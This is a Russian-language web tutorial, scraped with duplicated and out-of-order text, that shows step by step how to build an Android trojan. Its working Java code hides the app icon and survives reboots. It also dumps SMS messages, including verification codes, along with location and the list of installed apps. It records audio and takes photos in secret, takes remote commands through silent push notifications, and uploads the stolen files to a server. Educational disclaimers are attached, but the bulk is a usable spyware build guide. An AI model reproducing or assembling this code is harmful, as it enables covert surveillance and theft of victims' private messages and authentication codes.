return false;

}

return true;

}

private int getOrientation() {

WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);

int rotation = wm.getDefaultDisplay().getRotation();

int deviceOrientation = 0;

switch(rotation){

case Surface.ROTATION_0:

deviceOrientation = 0;

break;

case Surface.ROTATION_90:

deviceOrientation = 90;

break;

case Surface.ROTATION_180:

deviceOrientation = 180;

break;

case Surface.ROTATION_270:

deviceOrientation = 270;

break;

}

int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);

deviceOrientation = (deviceOrientation + 45) / 90 * 90;

boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;

if (facingFront) deviceOrientation = -deviceOrientation;

return (sensorOrientation + deviceOrientation + 360) % 360;

}

}

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

String cameraDir = context.getApplicationInfo().dataDir + «/camera/»

camera.takeSilentPhoto(«front», cameraDir);

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

public class Alarm extends BroadcastReceiver {

public static void set(Context context) {

AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);

Intent intent = new Intent(context, Alarm.class);

PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);

am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);

}

@Override

public void onReceive(Context context, Intent intent) {

  • Твой код здесь

}

}

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Alarm.set(this)

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() {

@Override

void onReceive(Context context, Intent intent) {

  • Ваш код здесь

}

}

И добавьте в манифест следующие строки:

<receiver android:name=»com.example.app.ScreenOnReceiver»>

<intent-filter>

<action android:name=»android.intent.action.ACTION_SCREEN_ON» />

</intent-filter>

</receiver>

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

class BootReceiver extends BroadcastReceiver() {

@Override

void onReceive(Context context, Intent intent) {

Intent serviceIntent = new Intent(this, MainService.class);

startService(serviceIntent);

}

}

И опять же добавим его в манифест:

<receiver android:name=»com.example.BootReceiver»>

<intent-filter>

<action android:name=»android.intent.action.BOOT_COMPLETED» />

</intent-filter>

</receiver>

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

String url = «//example.com/cmd»

OkHttpClient client = new OkHttpClient();

Request request = new Request.Builder().url(url).build();

while (true) {

Response response = client.newCall(request).execute();

String cmd = response.body().string();

cmd = cmd.trim()

if (cmd.equals(«record»)) {

  • Делаем аудиозапись

}

try {

Thread.sleep(60 * 1000);

} catch (InterruptedException e) {}

}

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

class App extends Application {

@Override

public void onCreate() {

super.onCreate()

OneSignal.startInit(this).init()

}

}

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

class OSService extends NotificationExtenderService {

@Override

protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {

String cmd = receivedResult.payload.body.trim()

if (cmd.equals(«record»)) {

  • Делаем аудиозапись

}

  • Не показывать уведомление

return true

}

}

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

<service

android:name=»org.antrack.app.service.OSService»

android:exported=»false»>

<intent-filter>

<action android:name=»com.onesignal.NotificationExtender» />

</intent-filter>

</service>

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»);

public void uploadImage(File image, String imageName) throws IOException {

OkHttpClient client = new OkHttpClient();

RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)

.addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))

.build();

Request request = new Request.Builder().url(«//com.example.com/upload»)

.post(requestBody).build();

Response response = client.newCall(request).execute();

}

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид.


Если Вам понравилась статья — поделитесь с друзьями

804 просмотров

Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.

Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.

Как создать троян для Андроид

Содержание

  • 1 Как написать троян на Андроид
    • 1.1 Каркас
    • 1.2 Информация о местоположении
    • 1.3 Список установленных приложений
    • 1.4 Дамп СМС
    • 1.5 Скрытая запись аудио
    • 1.6 Скрытая съемка
    • 1.7 Складываем все вместе
    • 1.8 Задания по расписанию
    • 1.9 Снимок при включении экрана
    • 1.10 Запуск при загрузке
    • 1.11 Запись аудио по команде
    • 1.12 Отправка данных на сервер
  • 2 Выводы

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.

Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Еще по теме: Как вирусы попадают в Google Play Market

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.


Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

<usespermission android:name=«android.permission.ACCESS_COARSE_LOCATION»/>

<usespermission android:name=«android.permission.ACCESS_FINE_LOCATION» />

<usespermission android:name=«android.permission.INTERNET» />

<usespermission android:name=«android.permission.CAMERA» />

<usespermission android:name=«android.permission.RECORD_AUDIO» />

<usespermission android:name=«android.permission.RECEIVE_BOOT_COMPLETED»/>

<usespermission android:name=«android.permission.READ_PHONE_STATE» />

<usespermission android:name=«android.permission.PROCESS_OUTGOING_CALLS» />

<usespermission android:name=«android.permission.READ_CONTACTS» />

<usespermission android:name=«android.permission.READ_SMS» />

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

<activity

    android:name=«com.example.app.MainActivity»

    android:label=«@string/app_name» >

    <intentfilter>

        <action android:name=«android.intent.action.MAIN» />

        <category android:name=«android.intent.category.LAUNCHER» />

    </intentfilter>

</activity>

<service

    android:name=«com.example.app.MainService»

    android:enabled=«true»

    android:exported=«false»>

</service>

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) {

    super.onCreate(savedInstanceState)

    // Запускаем сервис

    startService(new Intent(this, MainService.class));

    // Отключаем Activtiy

    ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»);

    pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

}

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

Location getLastLocation(Context context) {

    LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);

    android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);

    android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);

    long GPSLocationTime = 0;

    if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }

    long NetLocationTime = 0;

    if (null != locationNet) { NetLocationTime = locationNet.getTime(); }

    Location loc;

    if ( 0 < GPSLocationTime NetLocationTime ) {

        loc = locationGPS;

    } else {

        loc = locationNet;

    }

    if (loc != null) {

        return loc;

    } else {

        return null;

    }

}

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context)

String locationFile = context.getApplicationInfo().dataDir + «/location»

try {

    OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));

    outputStreamWriter.write(loc.getLatitude() + » « + loc.getLongitude);

    outputStreamWriter.close();

}

catch (IOException e) {}

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

void dumpSMS(Context context) {

    String appsFile = context.getApplicationInfo().dataDir + «/apps»

    final PackageManager pm = context.getPackageManager();

    List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

    try {

        PrintWriter pw = Files.writeLines(appsFile);

        for (ApplicationInfo packageInfo : packages) {

            if (!isSystemPackage(packageInfo))

                pw.println(pm.getApplicationLabel(packageInfo) + «: « + packageInfo.packageName);

        }

        pw.close();

    } catch (IOException e) {}

}

private boolean isSystemPackage(ApplicationInfo applicationInfo) {

    return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);

}

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

void dumpSMS(Context context, String file, String box) {

    SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US);

    Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null);

    try {

        PrintWriter pw = Files.writeLines(file);

        if (cursor != null && cursor.moveToFirst()) {

            do {

                String address = null;

                String date = null;

                String body = null;

                for (int idx = 0; idx < cursor.getColumnCount(); idx++) {

                    switch (cursor.getColumnName(idx)) {

                        case «address»:

                            address = cursor.getString(idx);

                            break;

                        case «date»:

                            date = cursor.getString(idx);

                            break;

                        case «body»:

                            body = cursor.getString(idx);

                    }

                }

                if (box.equals(«inbox»)) {

                    pw.println(«From: « + address);

                } else {

                    pw.println(«To: « + address);

                }

                String dateString = formatter.format(new Date(Long.valueOf(date)));

                pw.println(«Date: « + dateString);

                if (body != null) {

                    pw.println(«Body: « + body.replace(‘n’, ‘ ‘));

                } else {

                    pw.println(«Body: «);

                }

                pw.println();

            } while (cursor.moveToNext());

        }

        pw.close();

        cursor.close();

    } catch (Exception e) {}

}

Использовать его следует так:

// Сохраняем список всех полученных СМС

String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox»

dumpSMS(context, inboxFile, «inbox»);

// Сохраняем список отправленных СМС

String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»;

dumpSMS(context, sentFile, «sent»);

Записи в файле будут выглядеть примерно так:

From: Google

Date: 2017.02.24 06:49:55

Body: G732583 is your Google verification code.

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

void recordAudio(String file, final int time) {

    MediaRecorder recorder = new MediaRecorder();

    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

    recorder.setOutputFile(file);

    try {

        recorder.prepare();

    } catch (IOException e) {}

    recorder.start();

    Thread timer = new Thread(new Runnable() {

        @Override

        public void run() {

            try {

                Thread.sleep(time * 1000);

            } catch (InterruptedException e) {

                Log.d(TAG, «timer interrupted»);

            } finally {

                recorder.stop();

                recorder.release();

            }

        }

    });

    timer.start();

}

Использовать его можно, например, так:

DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US);

Date date = new Date();

String filePrefix = context.getApplicationInfo().dataDir + «/audio-«;

recordAudio(filePrefix + formatter.format(date) + «.3gp», 15);

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

public class SilentCamera2 {

    private Context context;

    private CameraDevice device;

    private ImageReader imageReader;

    private CameraCaptureSession session;

    private SurfaceTexture surfaceTexture;

    private CameraCharacteristics characteristics;

    private Surface previewSurface;

    private CaptureRequest.Builder request;

    private Handler handler;

    private String photosDir;

    public SilentCamera2(Context context) {

        this.context = context;

    }

    private final CameraDevice.StateCallback mStateCallback =

            new CameraDevice.StateCallback() {

        @Override

        public void onOpened(CameraDevice cameraDevice) {

            device = cameraDevice;

            try {

                surfaceTexture = new SurfaceTexture(10);

                previewSurface = new Surface(surfaceTexture);

                List<Surface> surfaceList = new ArrayList<>();

                surfaceList.add(previewSurface);

                surfaceList.add(imageReader.getSurface());

                cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);

            } catch (Exception e) {

            }

        }

        @Override

        public void onDisconnected(CameraDevice cameraDevice) {

        }

        @Override

        public void onError(CameraDevice cameraDevice, int error) {

        }

    };

    private CameraCaptureSession.StateCallback mCaptureStateCallback =

            new CameraCaptureSession.StateCallback() {

                @Override

                public void onConfigured(CameraCaptureSession captureSession) {

                    session = captureSession;

                    try {

                        request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);

                        request.addTarget(previewSurface);

                        request.set(CaptureRequest.CONTROL_AF_TRIGGER,

                            CameraMetadata.CONTROL_AF_TRIGGER_START);

                        captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);

                    } catch (Exception e) {

                    }

                }

                @Override

                public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}

            };

    private CameraCaptureSession.CaptureCallback mCaptureCallback =

            new CameraCaptureSession.CaptureCallback() {

        @Override

        public void onCaptureCompleted(CameraCaptureSession session,

                                     CaptureRequest request,

                                     TotalCaptureResult result) {

        }

    };

    private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =

            new ImageReader.OnImageAvailableListener() {

        @Override

        public void onImageAvailable(ImageReader reader) {

            DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»);

            Date date = new Date();

            String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»;

            File file = new File(filename);

            Image image = imageReader.acquireLatestImage();

            try {

                ByteBuffer buffer = image.getPlanes()[0].getBuffer();

                byte[] bytes = new byte[buffer.remaining()];

                buffer.get(bytes);

                OutputStream os = new FileOutputStream(file);

                os.write(bytes);

                image.close();

                os.close();

            } catch (Exception e) {

                e.getStackTrace();

            }

            closeCamera();

        }

    };

    private void takePicture() {

        request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());

        request.addTarget(imageReader.getSurface());

        try {

            session.capture(request.build(), mCaptureCallback, handler);

        } catch (CameraAccessException e) {

        }

    }

    private void closeCamera() {

        try {

            if (null != session) {

                session.abortCaptures();

                session.close();

                session = null;

            }

            if (null != device) {

                device.close();

                device = null;

            }

            if (null != imageReader) {

                imageReader.close();

                imageReader = null;

            }

            if (null != surfaceTexture) {

                surfaceTexture.release();

            }

        } catch (Exception e) {

        }

    }

    public boolean takeSilentPhoto(String cam, String dir) {

        photosDir = dir;

        int facing;

        switch (cam) {

            case «front»:

                facing = CameraCharacteristics.LENS_FACING_FRONT;

                break;

            case «back»:

                facing = CameraCharacteristics.LENS_FACING_BACK;

                break;

            default:

                return false;

        }

        CameraManager manager = (CameraManager)

                context.getSystemService(Context.CAMERA_SERVICE);

        String cameraId = null;

        characteristics = null;

        try {

            for (String id : manager.getCameraIdList()) {

                characteristics = manager.getCameraCharacteristics(id);

                Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);

                if (currentFacing != null && currentFacing == facing) {

                    cameraId = id;

                    break;

                }

            }

        } catch (Exception e) {

            return false;

        }

        HandlerThread handlerThread = new HandlerThread(«CameraBackground»);

        handlerThread.start();

        handler = new Handler(handlerThread.getLooper());

        imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);

        imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);

        try {

            manager.openCamera(cameraId, mStateCallback, handler);

            // Ждем фокусировку

            Thread.sleep(1000);

            takePicture();

        } catch (Exception e) {

            Log.d(TAG, «Can’t open camera: « + e.toString());

            return false;

        }

        return true;

    }

    private int getOrientation() {

        WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);

        int rotation = wm.getDefaultDisplay().getRotation();

        int deviceOrientation = 0;

        switch(rotation){

            case Surface.ROTATION_0:

                deviceOrientation = 0;

                break;

            case Surface.ROTATION_90:

                deviceOrientation = 90;

                break;

            case Surface.ROTATION_180:

                deviceOrientation = 180;

                break;

            case Surface.ROTATION_270:

                deviceOrientation = 270;

                break;

        }

        int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);

        deviceOrientation = (deviceOrientation + 45) / 90 * 90;

        boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;

        if (facingFront) deviceOrientation = deviceOrientation;

        return (sensorOrientation + deviceOrientation + 360) % 360;

    }

}

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

String cameraDir = context.getApplicationInfo().dataDir + «/camera/»

camera.takeSilentPhoto(«front», cameraDir);

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Еще по теме: Как создать RAT для Android

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

public class Alarm extends BroadcastReceiver {

    public static void set(Context context) {

        AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);

        Intent intent = new Intent(context, Alarm.class);

        PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);

        am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);

    }

    @Override

    public void onReceive(Context context, Intent intent) {

        // Твой код здесь

    }

}

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() {

    @Override

    void onReceive(Context context, Intent intent) {

        // Ваш код здесь

    }

}

И добавьте в манифест следующие строки:

<receiver android:name=«com.example.app.ScreenOnReceiver»>

    <intentfilter>

        <action android:name=«android.intent.action.ACTION_SCREEN_ON» />

    </intentfilter>

</receiver>

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

class BootReceiver extends BroadcastReceiver() {

    @Override

    void onReceive(Context context, Intent intent) {

        Intent serviceIntent = new Intent(this, MainService.class);

        startService(serviceIntent);

    }

}

И опять же добавим его в манифест:

<receiver android:name=«com.example.BootReceiver»>

    <intentfilter>

        <action android:name=«android.intent.action.BOOT_COMPLETED» />

    </intentfilter>

</receiver>

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

String url = «http://example.com/cmd»

OkHttpClient client = new OkHttpClient();

Request request = new Request.Builder().url(url).build();

while (true) {

    Response response = client.newCall(request).execute();

    String cmd = response.body().string();

    cmd = cmd.trim()

    if (cmd.equals(«record»)) {

        // Делаем аудиозапись

    }

    try {

        Thread.sleep(60 * 1000);

    } catch (InterruptedException e) {}

}

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

class App extends Application {

    @Override

    public void onCreate() {

        super.onCreate()

        OneSignal.startInit(this).init()

    }

}

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

class OSService extends NotificationExtenderService {

    @Override

    protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {

        String cmd = receivedResult.payload.body.trim()

        if (cmd.equals(«record»)) {

            // Делаем аудиозапись

        }

        // Не показывать уведомление

        return true

    }

}

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

<service

    android:name=«org.antrack.app.service.OSService»

    android:exported=«false»>

    <intentfilter>

        <action android:name=«com.onesignal.NotificationExtender» />

    </intentfilter>

</service>

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

